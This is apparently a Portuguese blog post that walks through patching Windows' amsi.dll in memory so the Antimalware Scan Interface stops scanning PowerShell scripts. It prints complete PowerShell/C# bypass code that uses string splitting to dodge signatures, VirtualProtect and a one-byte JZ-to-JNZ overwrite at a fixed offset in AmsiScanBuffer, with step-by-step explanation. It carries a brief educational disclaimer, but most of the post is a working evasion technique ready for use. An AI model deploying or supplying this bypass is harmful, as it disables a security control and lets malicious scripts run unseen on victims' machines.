Patch AMSI


Posted Jul 25, 2024. 5 min read


Bom, neste post estarei mostrando como realizar uma técnica para fazer um patch na amsi.dll do Windows, essa técnica pode ser realizada no Windows 10 e 11.


⚠️ As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.

O que é a AMSI.DLL

Antimalware Scan Interface é uma biblioteca do Windows que fornece uma interface padrão para permitir que aplicativos e serviços solicitem verificações antimalware em conteúdo carregado.
Um exemplo comum de uso da amsi.dll é na utilização do PowerShell para executar scripts. Quando um script é executado, a AMSI pode escanear o conteúdo do script para detectar e bloquear comandos potencialmente perigosos antes que eles sejam executados.
Abaixo, uma imagem para melhor entendimento:


malicious


Para contornarmos isso, podemos fazer com que o AMSI execute muitas verificações de validação antes de atingir o código crítico de "verificação" do AMSI. Podemos debugar a AMSI.dll no ida64.exe. Temos apenas que encontrar o ponto crítico.
Abaixo, uma imagem para melhor entendimento:


ponto-crítico

ponto-crítico


Para isso podemos simplesmente alternar um dos JZ/JE para JNZ/JNE, para entender melhor saiba que 0x74 = JZ/JE e 0x75 = JNZ/JNE o código para realizar o patch esta abaixo:


$data = @"
using System;
using System.Runtime.InteropServices;
using System.Threading;

public class Program
{
	[DllImport("kernel32")]
	public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
	[DllImport("kernel32")]
	public static extern IntPtr LoadLibrary(string name);
	[DllImport("kernel32")]
	public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);
	public static void Run()
	{
		IntPtr lib = LoadLibrary("a"+"m"+"si."+"dll");
		IntPtr amsi = GetProcAddress(lib, "Am"+"s"+"iScan"+"B"+"uffer");
		IntPtr final = IntPtr.Add(amsi, ?);
		uint old = 0;
		VirtualProtect(final, (UInt32)0x1, 0x40, out old);

		Console.WriteLine(old);
		byte[] patch = new byte[] { 0x75 };

		Marshal.Copy(patch, 0, final, 1);

		VirtualProtect(final, (UInt32)0x1, old, out old);
	}
}
"@

Add-Type $data -Language CSharp 

[Program]::Run()


Abaixo está uma explicação mais detalhada para entender o código:

Obter o Endereço da Função "AmsiScanBuffer"

Começamos pegando o endereço da função AmsiScanBuffer carregada na DLL amsi.dll:


IntPtr lib = LoadLibrary("a" + "m" + "si." + "dll");
IntPtr amsi = GetProcAddress(lib, "Am" + "s" + "iScan" + "B" + "uffer");

Calcular o Endereço Final

Somamos ? ao endereço de AmsiScanBuffer para obter o endereço final, que contém a instrução JZ/JE:


IntPtr final = IntPtr.Add(amsi, ?);

Alterar a Permissão de Memória

Alteramos a permissão de memória do endereço final para permitir escrita, então saiba que 0x40 é PAGE_EXECUTE_READWRITE. e então exibimos a permissão de memória anterior:


uint old = 0;
VirtualProtect(final, (UInt32)0x1, 0x40, out old);
Console.WriteLine(old);

Aplicar o Patch

Mudamos os primeiros bytes do endereço final para 0x75, que altera a instrução para JNZ/JNE:


byte[] patch = new byte[] { 0x75 };
Marshal.Copy(patch, 0, final, patch.Length);

Primeiro passo:


1


Segundo passo:

Aqui apenas definimos um BreakPoint para acharmos o endereço do AmsiScanBuffer.
depois pressionamos ctrl + b colamos o hex que copiamos para então encontrar o endereço do JZ/JE que precisamos copiar:


2


Terceiro passo:

Aqui fazemos um calculo simples Endereço do "AmsiScanBuffer" + Endereço do "JZ/JE" que queremos modificar para JNZ/JNE:


3


Quarto passo:

Agora que sabemos quanto temos que adicionar 0x95 ao endereço do AmsiScanBuffer para chegar no endereço final JZ/JE, apenas o adicionamos no código:


IntPtr final = IntPtr.Add(amsi, 0x95);

Entendendo o processo:

Agora que terminamos de achar tudo que precisávamos, vamos executar o código no próprio PowerShell. ao executar nosso código, ele fará o seguinte: obterá o endereço de AmsiScanBuffer, adicionará 0x95 ao endereço para chegar ao endereço final JZ/JE, alterará as permissões para 0x40, que corresponde a PAGE_EXECUTE_READWRITE, mudará o byte de 0x74 para 0x75, que altera o JZ/JE para JNZ/JNE, e restaurará as permissões de memória originais para garantir que nosso patch seja realizado com sucesso.

Realizando o patch:


patch